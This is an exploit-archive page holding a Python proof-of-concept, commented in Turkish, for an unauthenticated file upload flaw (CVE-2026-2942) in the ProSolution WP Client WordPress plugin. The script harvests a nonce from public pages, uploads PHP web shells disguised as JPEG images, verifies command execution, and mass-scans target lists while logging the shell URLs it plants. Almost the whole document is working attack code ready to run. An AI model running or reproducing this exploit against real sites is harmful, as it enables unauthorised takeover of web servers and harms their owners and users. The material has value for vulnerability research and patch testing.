5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2026-2942.py PY
#!/usr/bin/env python3
"""
ProSolution WP Client — Unauthenticated File Upload & RCE Scanner
Etkilenen Sürüm : <= 1.9.9
Zafiyet         : Kimlik doğrulamasız PHP dosyası yükleme (MIME Spoofing)
Nonce Kaynağı   : [prosolfrontend] shortcode içeren public sayfa → prosolObj.nonce
Saldırı Zinciri :
  1. Public sayfadan prosolObj.nonce çek
  2. shell.php dosyasını image/jpeg MIME tipiyle yükle
  3. /wp-content/uploads/prosolwpclient/[random].php → RCE
"""

import requests
import argparse
import json
import re
import sys
from concurrent.futures import ThreadPoolExecutor, as_completed
from threading import Lock

requests.packages.urllib3.disable_warnings()

G = "\033[92m"; R = "\033[91m"; Y = "\033[93m"
C = "\033[96m"; D = "\033[90m"; B = "\033[1m";  X = "\033[0m"

_lock = Lock()
_counter = [0]

def out(msg):
    with _lock:
        sys.stdout.write("\r" + " " * 80 + "\r")
        sys.stdout.write(msg + "\n")
        sys.stdout.flush()

def progress(total):
    with _lock:
        _counter[0] += 1
        n = _counter[0]
        pct = n * 100 // total
        bar = "█" * (pct // 5) + "░" * (20 - pct // 5)
        sys.stdout.write(f"\r[{bar}] {n}/{total} ({pct}%)  ")
        sys.stdout.flush()

# ══════════════════════════════════════════════════════════════
# NONCE ÇEKME — prosolObj.nonce
# ══════════════════════════════════════════════════════════════

# prosolObj içindeki nonce için pattern'ler
NONCE_PATTERNS = [
    # Standart prosolObj.nonce
    r'prosolObj\s*=\s*\{[^}]*?"nonce"\s*:\s*"([a-zA-Z0-9]{8,})"',
    # wp_localize_script farklı format
    r'"nonce"\s*:\s*"([a-zA-Z0-9]{8,})"',
    # data-nonce attribute
    r'data-nonce=["\']([a-zA-Z0-9]{8,})["\']',
    # var prosolObj doğrudan
    r'var\s+prosolObj\s*=\s*\{[^}]*?"nonce"\s*:\s*"([a-zA-Z0-9]{8,})"',
    # security field
    r'"security"\s*:\s*"([a-zA-Z0-9]{8,})"',
]

# [prosolfrontend] shortcode içerebilecek yaygın slug'lar
COMMON_SLUGS = [
    "/jobs", "/careers", "/apply", "/frontend",
    "/prosol", "/client", "/portal", "/work",
    "/employment", "/vacancies", "/positions",
    "/job-listings", "/job-board", "/opportunities",
    "/", "/home", "/about", "/contact",
]

def extract_nonce_from_html(html):
    """HTML içinden prosolObj.nonce değerini çek."""
    for pat in NONCE_PATTERNS:
        m = re.search(pat, html, re.S)
        if m:
            return m.group(1)
    return None

def find_nonce(sess, base):
    """
    [prosolfrontend] shortcode içeren sayfayı bul ve nonce çek.
    Önce sitemap, sonra yaygın slug'lar denenir.
    """

    # 1. Ana sayfa
    try:
        r = sess.get(base, timeout=8, allow_redirects=True)
        if r.status_code == 200:
            n = extract_nonce_from_html(r.text)
            if n:
                return n, base
    except: pass

    # 2. Sitemap'ten sayfa URL'leri topla
    pages = []
    for sm in ["/sitemap.xml", "/sitemap_index.xml",
               "/wp-sitemap.xml", "/page-sitemap.xml"]:
        try:
            r = sess.get(base + sm, timeout=5)
            if r.status_code == 200:
                urls = re.findall(r'<loc>(https?://[^<]+)</loc>', r.text)
                pages += [u for u in urls
                          if not re.search(r'\.(jpg|png|gif|css|js|xml)$', u, re.I)]
                if len(pages) >= 20:
                    break
        except: continue

    # 3. Yaygın slug'ları ekle
    for slug in COMMON_SLUGS:
        pages.append(base + slug)

    # 4. Tüm sayfaları tara (max 30)
    for url in pages[:30]:
        try:
            r = sess.get(url, timeout=5, allow_redirects=True)
            if r.status_code != 200:
                continue
            # [prosolfrontend] shortcode işlenmiş mi kontrol et
            if "prosolObj" not in r.text and "prosol" not in r.text.lower():
                continue
            n = extract_nonce_from_html(r.text)
            if n:
                return n, url
        except: continue

    # 5. wp-json REST API dene
    for ep in ["/wp-json/prosol/v1/nonce",
               "/wp-json/prosolwpclient/v1/nonce"]:
        try:
            r = sess.get(base + ep, timeout=5)
            if r.status_code == 200:
                m = re.search(r'"nonce"\s*:\s*"([a-zA-Z0-9]{8,})"', r.text)
                if m:
                    return m.group(1), f"rest:{ep}"
        except: continue

    # 6. admin-ajax.php ile nonce talep et
    ajax = base + "/wp-admin/admin-ajax.php"
    for action in ["prosol_get_nonce", "proSol_get_nonce",
                   "prosol_nonce", "prosolwpclient_nonce"]:
        try:
            r = sess.post(ajax,
                headers={"X-Requested-With": "XMLHttpRequest"},
                data={"action": action}, timeout=5)
            if r.status_code == 200:
                body = r.text.strip()
                if re.match(r'^[a-zA-Z0-9]{8,12}$', body):
                    return body, f"ajax:{action}"
                m = re.search(r'"nonce"\s*:\s*"([a-zA-Z0-9]{8,})"', body)
                if m:
                    return m.group(1), f"ajax:{action}:json"
        except: continue

    return None, None

# ══════════════════════════════════════════════════════════════
# SHELL TİPLERİ
# ══════════════════════════════════════════════════════════════

def build_shell(shell_type="system"):
    shells = {
        "system":   b'<?php system($_GET["cmd"]); ?>',
        "passthru": b'<?php passthru($_GET["cmd"]); ?>',
        "exec":     b'<?php echo exec($_GET["cmd"]); ?>',
        "assert":   b'<?php assert($_POST["cmd"]); ?>',
        "b64":      b'<?php eval(base64_decode($_POST["cmd"])); ?>',
        "full": (
            b'<?php '
            b'if(isset($_REQUEST["cmd"])){'
            b'$o=@shell_exec($_REQUEST["cmd"]);'
            b'if(!$o)$o=@system($_REQUEST["cmd"]);'
            b'if(!$o)$o=@exec($_REQUEST["cmd"]);'
            b'echo "<pre>".$o."</pre>";} ?>'
        ),
    }
    return shells.get(shell_type, shells["system"])

# ══════════════════════════════════════════════════════════════
# YÜKLEME
# ══════════════════════════════════════════════════════════════

def upload_shell(sess, base, nonce,
                 shell_name="shell.php", shell_type="system"):
    """
    PHP dosyasını image/jpeg MIME tipi ile yükle.
    security parametresi olarak nonce gönderilir.
    """
    ajax = base + "/wp-admin/admin-ajax.php"

    files = {
        "files[]": (
            shell_name,
            build_shell(shell_type),
            "image/jpeg"          # ← MIME Spoofing — kritik bypass
        )
    }

    data = {
        "action":   "proSol_fileUploadProcess",
        "security": nonce          # ← prosolObj.nonce buraya
    }

    try:
        r = sess.post(ajax, files=files, data=data, timeout=10)

        if r.status_code != 200:
            return {"status": "HTTP_ERR", "code": r.status_code}

        try:
            resp = r.json()
        except json.JSONDecodeError:
            return {"status": "JSON_ERR", "raw": r.text[:200]}

        files_info = resp.get("files", [])
        if not files_info:
            return {"status": "NO_FILES", "raw": r.text[:200]}

        info       = files_info[0]
        shell_url  = info.get("url",         "").replace("\\/", "/")
        new_name   = info.get("newfilename", "")
        extension  = info.get("extension",   "")
        renamed    = info.get("rename_status", False)
        delete_url = info.get("deleteUrl",   "").replace("\\/", "/")

        # PHP uzantısı korundu mu?
        if extension == "php" or shell_url.endswith(".php"):
            return {
                "status":     "UPLOADED",
                "shell_url":  shell_url,
                "new_name":   new_name,
                "renamed":    renamed,
                "delete_url": delete_url,
            }
        else:
            return {
                "status":    "BLOCKED",
                "extension": extension,
                "raw":       str(info)[:200],
            }

    except requests.exceptions.ConnectionError:
        return {"status": "CONN_ERR"}
    except requests.exceptions.Timeout:
        return {"status": "TIMEOUT"}
    except Exception as e:
        return {"status": "EXCEPTION", "err": str(e)}

# ══════════════════════════════════════════════════════════════
# SHELL DOĞRULAMA
# ══════════════════════════════════════════════════════════════

def verify_shell(sess, shell_url, cmd="id", timeout=8):
    """Yüklenen shell'i test et — komut çalışıyor mu?"""
    try:
        r = sess.get(shell_url, params={"cmd": cmd},
                     timeout=timeout, verify=False,
                     headers={"User-Agent": "Mozilla/5.0"})
        if r.status_code == 200:
            body = r.text.strip()
            if "uid=" in body and "gid=" in body:
                return "RCE_OK", body[:200]
            if len(body) > 0:
                return "RESPONSE", body[:200]
        return "NO_OUTPUT", ""
    except:
        return "CONN_ERR", ""

# ══════════════════════════════════════════════════════════════
# TEKİL HEDEF KONTROLÜ
# ══════════════════════════════════════════════════════════════

def check(target, args, total=1):
    if not target.startswith("http"):
        target = "http://" + target

    sess = requests.Session()
    sess.headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
    sess.verify = False

    # Bağlantı testi
    try:
        r = sess.get(target, timeout=8, allow_redirects=True)
        base = r.url.rstrip("/")
    except:
        progress(total)
        return {"status": "UNREACH", "url": target}

    # ── Adım 1: Nonce çek ──
    nonce, nonce_src = find_nonce(sess, base)

    if not nonce:
        progress(total)
        return {"status": "NO_NONCE", "url": base}

    # ── Adım 2: Shell yükle ──
    result = upload_shell(
        sess, base, nonce,
        shell_name=args.shell_name,
        shell_type=args.shell_type
    )

    result["url"]       = base
    result["nonce"]     = nonce
    result["nonce_src"] = nonce_src

    # ── Adım 3: Shell doğrula ──
    if result["status"] == "UPLOADED" and args.verify:
        rce_status, rce_out = verify_shell(
            sess, result["shell_url"], cmd=args.verify_cmd
        )
        result["rce_status"] = rce_status
        result["rce_out"]    = rce_out

    progress(total)
    return result

# ══════════════════════════════════════════════════════════════
# ÇIKTI YAZICI
# ══════════════════════════════════════════════════════════════

def print_result(res, fout=None):
    s = res["status"]
    u = res.get("url", "")

    if s == "UPLOADED":
        out(f"{G}[★ UPLOADED ] {u}")
        out(f"  Nonce     : {res.get('nonce','')}  (kaynak: {res.get('nonce_src','')})")
        out(f"  Shell URL : {res.get('shell_url','')}")
        out(f"  Yeni Ad   : {res.get('new_name','')}  (renamed={res.get('renamed','')}){X}")

        rce = res.get("rce_status", "")
        if rce == "RCE_OK":
            out(f"{G}  [✓ RCE OK ] {res.get('rce_out','')}{X}")
        elif rce == "RESPONSE":
            out(f"{Y}  [~ RESP   ] {res.get('rce_out','')}{X}")
        elif rce:
            out(f"{D}  [- {rce:8s}] Shell erişilemiyor{X}")

        if fout:
            line = (f"UPLOADED {u}  "
                    f"shell={res.get('shell_url','')}  "
                    f"nonce={res.get('nonce','')}  "
                    f"rce={rce}\n")
            fout.write(line)
            fout.flush()

    elif s == "BLOCKED":
        out(f"{D}[- BLOCKED  ] {u}  ext={res.get('extension','?')}{X}")

    elif s == "NO_NONCE":
        out(f"{Y}[~ NO_NONCE ] {u}  (prosolObj.nonce bulunamadı){X}")

    elif s == "HTTP_ERR":
        out(f"{R}[! HTTP_ERR ] {u}  code={res.get('code')}{X}")

    elif s == "TIMEOUT":
        out(f"{D}[~ TIMEOUT  ] {u}{X}")

    elif s == "CONN_ERR":
        out(f"{D}[~ CONN_ERR ] {u}{X}")

    elif s == "UNREACH":
        out(f"{D}[~ UNREACH  ] {u}{X}")

    else:
        out(f"{Y}[? {s:10s}] {u}  {res.get('raw','')[:80]}{X}")

# ══════════════════════════════════════════════════════════════
# MAIN
# ══════════════════════════════════════════════════════════════

def main():
    ap = argparse.ArgumentParser(
        description="ProSolution WP Client <= 1.9.9 — File Upload & RCE Scanner",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Örnekler:
  # Tekil hedef
  python prosol_upload.py -u http://hedef.com

  # Shell doğrulama ile
  python prosol_upload.py -u http://hedef.com --verify --verify-cmd "whoami"

  # Toplu tarama
  python prosol_upload.py -l targets.txt -t 20 -o sonuclar.txt

  # Proxy ile (Burp Suite)
  python prosol_upload.py -u http://hedef.com --proxy http://127.0.0.1:8080

  # Full shell + doğrulama
  python prosol_upload.py -u http://hedef.com --shell-type full --verify
        """
    )

    group = ap.add_mutually_exclusive_group(required=True)
    group.add_argument("-u", "--url",  help="Tekil hedef URL")
    group.add_argument("-l", "--list", help="Hedef listesi dosyası")

    ap.add_argument("-t", "--threads",    type=int, default=10)
    ap.add_argument("-o", "--output",     default="uploaded.txt")
    ap.add_argument("--shell-name",       default="shell.php")
    ap.add_argument("--shell-type",
                    choices=["system","passthru","exec","assert","b64","full"],
                    default="system")
    ap.add_argument("--verify",           action="store_true",
                    help="Yükleme sonrası RCE doğrula")
    ap.add_argument("--verify-cmd",       default="id")
    ap.add_argument("--proxy",            help="Proxy URL")
    ap.add_argument("--timeout",          type=int, default=10)

    args = ap.parse_args()

    # ── Tekil hedef ──
    if args.url:
        print(f"\n{B}[*] Hedef      : {args.url}")
        print(f"[*] Shell      : {args.shell_name} ({args.shell_type})")
        print(f"[*] Doğrulama  : {'Evet → ' + args.verify_cmd if args.verify else 'Hayır'}{X}\n")

        res = check(args.url, args, total=1)
        print_result(res)

        if res["status"] == "UPLOADED":
            with open(args.output, "w") as f:
                f.write(f"{res.get('shell_url','')}\n")
            print(f"\n{G}[+] Kaydedildi → {args.output}{X}")
        return

    # ── Toplu tarama ──
    with open(args.list) as f:
        targets = [l.strip() for l in f if l.strip()]

    total = len(targets)
    _counter[0] = 0

    print(f"\n{B}[*] {total} hedef | ProSolution <= 1.9.9 | threads={args.threads}{X}\n")

    stats = {}
    with open(args.output, "w") as fout:
        with ThreadPoolExecutor(max_workers=args.threads) as ex:
            futs = {ex.submit(check, t, args, total): t for t in targets}
            for fut in as_completed(futs):
                res = fut.result()
                s   = res["status"]
                stats[s] = stats.get(s, 0) + 1
                print_result(res, fout)

    sys.stdout.write("\n")
    print(f"\n{B}{'─'*60}")
    for k, v in sorted(stats.items(), key=lambda x: -x[1]):
        bar = "█" * min(v, 30)
        print(f"  {k:22s}: {v:4d}  {bar}")
    print(f"{'─'*60}")
    print(f"  Yüklenen shell'ler → {args.output}")
    print(f"{'─'*60}{X}")

if __name__ == "__main__":
    main()